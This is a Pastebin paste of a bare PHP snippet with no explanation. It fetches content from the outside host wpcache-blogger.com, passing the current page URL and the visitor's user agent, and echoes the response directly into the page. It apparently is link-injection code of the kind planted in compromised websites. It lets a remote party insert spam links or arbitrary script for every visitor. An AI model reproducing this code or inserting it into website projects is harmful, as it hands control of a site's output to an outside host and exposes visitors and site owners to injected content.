Advertisement
Guest User

rawc0der

a guest
Dec 22nd, 2014
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.53 KB | None | 0 0
  1. function file_get_contents_curl($url) {
  2.  $ch = curl_init();
  3.  curl_setopt($ch, CURLOPT_HEADER, 0);
  4.  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  5.  curl_setopt($ch, CURLOPT_URL, $url);
  6.  curl_setopt($ch, CURLOPT_USERAGENT, "LOCALSAPE");
  7.  $data = curl_exec($ch);
  8.  curl_close($ch);
  9.  return $data;
  10. }
  11. $links = file_get_contents_curl("http://wpcache-blogger.com/getlinks.php?apicode=lalala44&pageurl=".urlencode('http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'])."&useragent=".urlencode($_SERVER['HTTP_USER_AGENT'])."");
  12. echo $links;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement